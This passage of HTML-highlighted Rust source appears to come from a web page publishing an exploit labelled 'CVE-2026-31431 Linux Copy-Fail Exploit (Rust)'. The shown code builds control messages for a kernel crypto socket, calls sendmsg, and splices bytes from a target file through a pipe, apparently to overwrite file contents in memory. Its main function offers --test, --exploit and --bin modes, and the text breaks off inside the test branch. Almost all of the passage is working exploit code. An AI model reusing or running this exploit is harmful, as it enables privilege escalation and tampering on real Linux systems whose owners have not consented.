z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h3</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mem</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">zeroed</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h3</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_len</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_LEN</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h3</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_level</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">279</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h3</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_type</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">4</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h3</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_DATA</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u32</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span> = <span class="z-constant z-numeric z-integer z-decimal z-python">8</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">msg_controllen</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">32</span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">16</span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">16</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">sendmsg</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">op_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>8000</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0i32; <span class="z-constant z-numeric z-integer z-decimal z-python">2</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">pipe</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">off</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i64</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">0</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">splice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">off</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">1</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null_mut</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">t_idx</span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">splice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">0</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null_mut</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">op_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null_mut</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">t_idx</span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">drain</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">1024</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">recv</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">op_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">drain</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">1024</span></span><span class="z-meta z-mapping z-python"><span class="z-invalid z-illegal z-expected-colon z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Clean</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-function z-builtin z-python">all</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">file</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">descriptors</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">close</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">op_fd</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">close</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">close</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">0</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">close</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pipes</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">1</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fn</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">main</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">io</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Result</span></span><span class="z-keyword z-operator z-comparison z-python">&lt;</span><span class="z-meta z-sequence z-tuple z-empty z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Vec</span></span><span class="z-keyword z-operator z-comparison z-python">&lt;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">String</span></span><span class="z-keyword z-operator z-comparison z-python">&gt;</span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">env</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">args</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">collect</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">--------------------------------------------------<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"> CVE-2026-31431 Linux Copy-Fail Exploit (Rust) <span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">--------------------------------------------------<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-control z-conditional z-if z-python">if</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-keyword z-operator z-comparison z-python">&lt;</span> <span class="z-constant z-numeric z-integer z-decimal z-python">2</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">Usage: <span class="z-constant z-other z-placeholder z-python"><span class="z-punctuation z-definition z-placeholder z-begin z-python">{</span><span class="z-punctuation z-definition z-placeholder z-end z-python">}</span></span> [--test | --exploit | --bin &lt;file&gt;]<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">0</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-invalid z-illegal z-name z-python">return</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">Ok</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-sequence z-tuple z-empty z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">match</span></span> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">1</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_str</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">--test<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> =<span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Test</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">vulnerability</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span 